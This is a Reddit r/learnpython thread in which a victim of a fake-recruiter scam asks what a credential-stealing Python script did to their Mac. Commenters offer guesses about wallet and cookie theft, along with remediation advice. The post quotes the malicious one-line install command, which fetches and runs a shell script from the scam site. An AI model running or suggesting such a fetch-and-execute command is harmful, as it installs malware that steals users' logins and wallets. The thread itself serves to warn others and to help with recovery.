r/learnpython • • Dec 04 '24

Scammer had me run this script, what did it do?

Hi, I fell for a scam (Belkirk Group / TonMeet) and ended up running this malicious python script on my Macbook. It looks like it is probing for logins, crypto wallets, and stuff, and then maybe posting them to an endpoint. I don't care about the crypto stuff. I have firefox's master password feature turned on so I'm hoping my passwords are encrypted.

How bad is this situation? How much do you think they were actually able to get? I don't think I ever entered my laptop password, and it didn't run with sudo.

Paste of script code: https://pastebin.com/VQqU4XDu

edit: this pastebin is after I decoded and substituted in all of the encoded variables at the top, so that part of the obfuscation has been done, along with some other layers. The original command was curl -sSL -O [https://tonmeet.com/install.sh](https://tonmeet.com/install.sh) && sh install.sh and that installed some additional files, including a ".ts" file that actually contained this python code.

The attacker posed as a technical recruiter in an email, had me book an appointment with a tidycal.com link, which they had set the meeting link to a tonmeet.com link, which seems to be a fake video conferencing software website that told me to run the above command to download the video conferencing client. I was suspicious, but concluded on it being fake just a little too late.

0 Upvotes

22 comments sorted by

3

u/blue_owls_are_cool Dec 04 '24

For the sake of preventing this from recurring for others: how did the scam happen? How did you end up with that script?

9

u/BlueRidgeBeaut Dec 04 '24

The attacker posed as a technical recruiter in an email, had me book an appointment with a tidycal.com link, which they had set the meeting link to a tonmeet.com link, which seems to be a fake video conferencing software website that told me to run the above command to download the video conferencing client. I was suspicious, but concluded on it being fake just a little too late.

1

u/lothion Dec 04 '24

That's actually quite sophisticated. Scary stuff. Hope your data is ok.

8

u/Xzenor Dec 04 '24

Hope your data is ok.

It's not. Don't take the gamble. Assume it's all fucked and take action to minimize the damage

1

u/BlueRidgeBeaut Dec 05 '24

Yeah, I'm pretty good at spotting phishing scams, but this one was the highest quality one I've ever seen. Still, I could've prevented it with just a tad more attention.

34

u/TSM- Never slipped a dict comprehension in my lambda before, but Dec 04 '24

It appears to be pretty much just looking for crypto wallet credentials. The API it connects to, truffleganache[...] accepts a 'wallet' list, so I am thinking that it is only looking for cryptocurrency data, rather than anything more ambitious (like ALL your cookies and whatnot).

Here's an idea. Try changing the part of the script where it sends the json to the server api, and instead write that information to a local json file. This would then allow you to inspect exactly what payload got sent to the server. Then you could see what, if anything, it actually sent to the attacker's server.

3

u/SecurityHamster Dec 05 '24

We had an Apple script that was doing the same thing. Defender caught it and it took a while to dissect its code. Thieves are going to try to thief.

3

u/SquiffyUnicorn Dec 05 '24

Maybe disconnect from any internet before trying this… I know the horse may have already bolted but anyway…

14

u/littlenekoterra Dec 04 '24

He stole your login data and cookies from your browser it looks like. Probably alot more.

0

u/[deleted] Dec 04 '24

[deleted]

7

u/littlenekoterra Dec 04 '24

Like I'm not gonna say definitively because of all the obfuscation but this guy may wanna do the ole reset on their internet life.

I'm a pretty solid dev and can't read half of this thats whats got me fucked. Barring the straight up encryption ofc

1

u/BlueRidgeBeaut Dec 07 '24

Thanks for the help everyone. I rotated passwords and ended what sessions I could think of. So far nothing seems to have gone wrong. 🤞

16

u/baked_tea Dec 04 '24

I asked chatgpt o1 mini to resolve the obfuscation. Take a look

https://chatgpt.com/share/6750c180-3c80-8004-b0d4-00a966905ff8

9

u/[deleted] Dec 04 '24

nice use of an LLM there.

3

u/psyfry Dec 04 '24

To be sure you need to at the very least cycle your cookies/tokens by logging out of any websites you were actively logged into in order to avoid a cookie session replay attacks. If you have api keys, rotate all of those as well. At worst, if your FF master pass was weak (less than 10 characters), you may need to change all your stored passwords.

1

u/angry_noob_47 Dec 04 '24

RemindMe! 3 days

1

u/HoopHaxor Dec 05 '24

RemindMe! 4 days

1

u/filyyyyy Dec 04 '24

RemindMe! 2 days

1

u/RemindMeBot Dec 04 '24 edited Dec 05 '24

I will be messaging you in 2 days on 2024-12-06 20:39:16 UTC to remind you of this link

3 OTHERS CLICKED THIS LINK to send a PM to also be reminded and to reduce spam.

Parent commenter can delete this message to hide from others.


InfoCustomYour RemindersFeedback

0

u/Narrow_Ad_8997 Dec 04 '24

RemindMe! 2 days